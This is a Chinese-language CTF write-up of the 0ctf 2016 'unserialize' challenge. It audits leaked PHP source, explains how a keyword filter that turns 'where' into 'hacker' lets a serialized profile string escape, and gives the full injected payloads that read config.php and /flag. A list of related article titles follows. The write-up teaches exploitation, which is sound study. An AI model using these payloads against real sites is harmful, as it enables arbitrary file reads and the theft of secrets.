打开环境

只有个登录框
应该存在源码泄露,直接试试访问www.zip
得到源码
直接自动代码审计

发现有疑似这些漏洞
但是没有找到我们的反序列化,因为题目就是反序列化
然后自己来审计一下
在profile.php中

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

有个unserialize反序列化和file_get_contents读文件
应该是反序列化逃逸,然后来控制photo达成我们读取文件
在updata.php中

if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));

这就是上传的一些限制
然后是class.php中的数据库查询有个过滤规则,这里刚刚好拿来逃逸利用

public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}

然后在config.php中发现

所以我们要读取的文件应该就是这个了
思路理清就开始
先访问register.php创建一个用户
登录进去后直接bp抓包上传
正则用数组绕过

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发现读取的config,php文件中无flag

那就试试读跟目录下的flag

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:5:"/flag";}



成功得到flag
希望这篇文章能够帮助你!

0ctf_2016_unserialize相关推荐

  1. ctf之php序列化,0ctf_2016_unserialize(php反序列化逃逸字符)

    一.0ctf_2016_unserialize(php反序列化逃逸字符)1 2 3 4知识点: * 代码审计 * Unserialize * LFR 通过源码,我们可以发现在config.php中的f ...

最新文章

  1. nagios全攻略(三)----使用插件监控更多信息
  2. 精简三星Galaxy III 迷你版 自带无用软件
  3. topcoder srm 625 div1
  4. PCA与图像压缩与去噪
  5. 95-130-502-源码-source-ElasticSearch相关-ElasticSearch connector
  6. [WC2007] 剪刀石头布
  7. python基础之练习题(二)
  8. 【分享】浅析Quora的技术架构
  9. 【性能测试】:操作NMON的shell脚本
  10. 使用bintray-release工具上传gradle项目至bintray.com
  11. mac 开启android 模拟器,折腾mac的经验积累 2:mac上如何玩安卓模拟器
  12. 证明矩阵的秩=行秩=列秩
  13. 【Scratch】《零基础入门学习Scratch》(小甲鱼)笔记一
  14. kali攻击wifi、破解wifi密码详细教程(一)
  15. get与post的区别
  16. amoeba mysql下载_amoeba for mysql
  17. 25匹马选出最快的3匹马
  18. mysql中计算最大回撤_基金最大回撤算例(Java 1.8)
  19. 分享一个很棒的免费壁纸网站
  20. 【Visual Studio 2019 - Unknown override specifier error】Problems when compiling dbghelp.h

热门文章

  1. 了解字体以及字体安装
  2. Hadoop-HDFS学习
  3. 百度地图 InfoWindow上添加点击事件
  4. 百度地图-手动JS触发自定义Marker覆盖物点击事件
  5. 欧美顶尖大学是如何使用大数据的?
  6. Oracle技巧查询,很香
  7. 无法处理类型为text html,types – 解释为Font但使用MIME类型text / html传输的资源将无法修复...
  8. java百度地图离线开发_【“零起点”--百度地图手机SDK】如何使用离线地图?
  9. ADS1115(测量ADC)的使用教程(IIC)
  10. 工商管理专业的毕业论文怎么选题?